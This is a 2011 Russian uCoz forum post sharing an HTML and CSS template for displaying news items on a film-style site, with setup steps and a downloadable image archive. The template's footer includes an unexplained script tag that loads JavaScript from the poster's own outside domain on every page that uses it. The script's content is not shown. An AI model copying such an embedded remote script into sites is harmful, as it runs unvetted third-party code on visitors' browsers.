Сайт о Counter-Strike:Source. Вид материала в синих тонах - Форум
[ Новые сообщения · Участники · Правила форума · Поиск · RSS ]
  • Страница 1 из 1
  • 1
Вид материала в синих тонах
olichka
Offline
Дата: Пятница, 11.11.2011, 15:58 | Сообщение # 1
Сообщений: 13
СКРИН: http://s58.radikal.ru/i160/1111/69/2b0fbc88a4cf.jpg

Красивый вид материала в синих тонах для онлайн кинотеатра и не только.

Скачиваем архив скрипта(http://bunnas.ru/donwload/Vid_materialov.rar), в корне сайта создаем папочку [img] и заливаем в нее все картинки.

Далее копируем код скрипта и вставляем: П.У.=>[Новости сайта] =>[Вид Материалов]

Code
<div id="block_top_video"><div style="padding-left: 10px;"><b>$TITLE$</b><?if($MODER_PANEL$)?><div style="float: right;">$MODER_PANEL$</div><?endif?></div></div>
<div id="block_video"><div id="block_content_video">
  <div style="float: left;width: 185px;">
  <div style="background: url('/img/lenta_new.png') no-repeat; padding: 2% 3%; text-align:center;"><?if($OTHER1$)?><img src="$OTHER1$" width="155" height="223"><?else?><img width="150" src="/img/no_no_images.JPEG"><?endif?> </div>
  </div>
  <div style="margin-left: 191px;">
  <div style="padding: 1px 1px 1px 0px; min-height: 275px;">$MESSAGE$</div>
  </div>
</div></div>
<div id="block_footer_video">
  <div style="float: left;width: 185px;">
  <div style="padding: 3% 5%;text-align:center;"><script src="http://bunnas.ru/images.js" type="text/javascript"></script><a title="Нажми для просмотра $TITLE$ online" href="$ENTRY_URL$" class="css_view"></a></div></div>
  <div style="margin-left: 191px;">
  <div style="height:20px; padding: 1px;"><div style="float: left;"><img src="/img/news/reit_new.png" border="0"><b>Жанр</b>: <a href="$CATEGORY_URL$">$CATEGORY_NAME$</a> | <b><img src="/img/news/prosmotr_new.png"> Просмотров:</b> [<b>$READS$</b>]</div><div style="float: right;"><?$RSTARS$('20','/img/news/rating.png','1','float')?></div></div>
  <div style="height:20px; padding: 1px;"><div style="float: left;"><a title="Количество комментариев $TITLE$ ($COMMENTS_NUM$)" href="$COMMENTS_URL$"><b>Комментарии</b> ($COMMENTS_NUM$)</a> | <a href="../forum/">Обсудить на форуме</a></div><div style="float: right;text-align:right;"><font color="red">$RATING$</font>(голосов: $RATED$)</div></div>
  </div>
</div>


$OTHER1$ - Дополнительное поле, в которое помещяете ссылку на изображение и оно отобразит вам в новостях.

Код вставляем в любую часть своего css файла.

Code
/* --Блок материалов-- */

#block_top_video{
  float: top;
  color: #000000;
  background: url(/img/bg_top_new.png) left no-repeat;
  font-weight: bold;
  font-size: 12px;
  text-align: left;
  line-height: 40px;
  height: 40px;
  }

#block_video{
  width:650px;
  background: url(/img/bg_body_new.png) left top repeat-y;
  font-size: 11px;
  }

#block_content_video{
  color: #000000;
         text-align: left;    
  }

#block_footer_video{
         margin-bottom: 3px;
  float: bottom;
  background: url(/img/bg_bottom_new.png) left top no-repeat;
  height: 41px;
  }

/* --Блок материалов/END-- */


Если Вы используете данный вид материалов не для сайтов посвященных фильмам, видео и т.д. замените изображение lenta_new.PNG и view.PNG на lenta_new2.PNG и view2.PNG.
Спасибо за внимание!
  • Страница 1 из 1
  • 1
Поиск:


Все материалы размещенные на сайте,пренадлежат их владельцам и предоставляються исключительно в ознакомительных целях. Администрация ответствености не несет за содержание материала и убытки не возмещает.
Конструктор сайтов - uCoz